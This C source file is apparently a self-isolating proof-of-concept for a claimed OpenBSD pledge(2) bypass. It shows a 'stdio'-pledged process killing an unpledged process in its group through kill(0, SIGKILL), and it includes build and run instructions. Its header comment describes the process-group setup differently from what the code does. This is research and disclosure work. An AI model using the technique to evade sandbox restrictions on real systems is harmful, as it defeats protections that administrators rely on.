/*
 * POC_kill_pledged_v3.c — clean self-isolating reproducer.
 *
 * Demonstrates: pledge(2) manpage lists kill(2) only under "proc", but the
 * kernel allows kill(0, sig) (pgrp-wide) under ANY pledge category via
 * pledge_kill()'s pid==0 exception. Killing reaches processes outside the
 * pledged process — contradicting the "stdio: only inside the process"
 * documented contract.
 *
 * Architecture (per Gemini's Council guidance):
 *   parent
 *     fork() -> isolation_parent
 *       setpgid(0, 0)         ; new pgrp, isolated from invoking shell
 *       fork() -> victim
 *         pause()             ; unpledged, sleeps until signalled
 *       fork() -> attacker
 *         pledge("stdio", NULL)
 *         kill(0, SIGKILL)    ; pgrp-wide kill from a STDIO-pledged proc
 *       waitpid(victim)       ; check whether victim died from SIGKILL
 *   parent
 *     waitpid(isolation_parent), report outcome
 *
 * The invoking shell is NOT in the isolated pgrp, so SSH/terminal survives.
 *
 * Build (on OpenBSD target):  cc -o poc_kill_v3 POC_kill_pledged_v3.c
 * Run:                         ./poc_kill_v3
 *
 * Optional first argument selects pledge category to test
 * (default stdio):  ./poc_kill_v3 rpath
 *                   ./poc_kill_v3 inet
 *                   ./poc_kill_v3 stdio
 *
 * Exit code: 0 = bypass confirmed (victim killed by signal under pledge),
 *            1 = victim survived (no bypass),
 *            >=2 = setup error.
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *
sig_name(int s)
{
	switch (s) {
	case SIGKILL: return "SIGKILL";
	case SIGTERM: return "SIGTERM";
	case SIGUSR1: return "SIGUSR1";
	default:      return "SIG?";
	}
}

int
main(int argc, char **argv)
{
	const char *promises = (argc > 1) ? argv[1] : "stdio";

	printf("[parent] pid=%d pgid=%d  testing pledge(\"%s\")\n",
	    getpid(), getpgrp(), promises);

	pid_t iso = fork();
	if (iso < 0) { perror("fork iso"); return 2; }

	if (iso == 0) {
		/* ---- isolation_parent (NOT in the test pgrp) ---- */
		printf("[iso]    pid=%d pgid=%d (observer, stays in invoker pgrp)\n",
		    getpid(), getpgrp());

		pid_t victim = fork();
		if (victim < 0) { perror("fork victim"); _exit(2); }
		if (victim == 0) {
			/* ---- victim (no pledge) ---- new pgrp = our own pid ---- */
			if (setpgid(0, 0) < 0) { perror("victim setpgid"); _exit(2); }
			pause();          /* will be killed by attacker's signal */
			_exit(99);        /* never reached on successful kill */
		}

		/* Wait until victim has had time to call setpgid + pause */
		usleep(200000);

		pid_t attacker = fork();
		if (attacker < 0) { perror("fork atk"); _exit(2); }
		if (attacker == 0) {
			/* ---- attacker (pledged) — join VICTIM's pgrp ---- */
			if (setpgid(0, victim) < 0) {
				perror("attacker setpgid");
				_exit(2);
			}
			if (pledge(promises, NULL) < 0) {
				fprintf(stderr,
				    "[atk]    pledge(\"%s\") failed: %s\n",
				    promises, strerror(errno));
				_exit(3);
			}
			/* try SIGKILL — should be blocked if pledge category
			 * doesn't include proc, but the kill(0) exception lets it through */
			if (kill(0, SIGKILL) < 0) {
				fprintf(stderr,
				    "[atk]    kill(0,SIGKILL) blocked: %s\n",
				    strerror(errno));
				_exit(1);   /* signal was blocked — pledge worked */
			}
			/* kill returned success — our own SIGKILL ends this proc */
			_exit(0);
		}

		/* iso is NOT in the test pgrp (victim's), so it survives.
		 * Wait for victim and attacker to be reaped. */
		int vstat = 0, astat = 0;
		waitpid(victim,   &vstat, 0);
		waitpid(attacker, &astat, 0);

		printf("[iso]    victim:   exited=%d signal=%d (%s)\n",
		    WIFEXITED(vstat) ? WEXITSTATUS(vstat) : -1,
		    WIFSIGNALED(vstat) ? WTERMSIG(vstat) : 0,
		    WIFSIGNALED(vstat) ? sig_name(WTERMSIG(vstat)) : "—");
		printf("[iso]    attacker: exited=%d signal=%d (%s)\n",
		    WIFEXITED(astat) ? WEXITSTATUS(astat) : -1,
		    WIFSIGNALED(astat) ? WTERMSIG(astat) : 0,
		    WIFSIGNALED(astat) ? sig_name(WTERMSIG(astat)) : "—");

		int bypass = WIFSIGNALED(vstat) && WTERMSIG(vstat) == SIGKILL;
		_exit(bypass ? 0 : 1);
	}

	/* ---- parent ---- */
	int rs = 0;
	waitpid(iso, &rs, 0);
	int code = WIFEXITED(rs) ? WEXITSTATUS(rs) : -1;
	if (code == 0) {
		printf("[parent] [+] BYPASS CONFIRMED: pledge(\"%s\")-restricted attacker"
		    " SIGKILL'd an unpledged victim in its pgrp.\n", promises);
	} else if (code == 1) {
		printf("[parent] [-] pledge worked: signal was blocked.\n");
	} else {
		printf("[parent] [?] setup error (code=%d)\n", code);
	}
	return code;
}
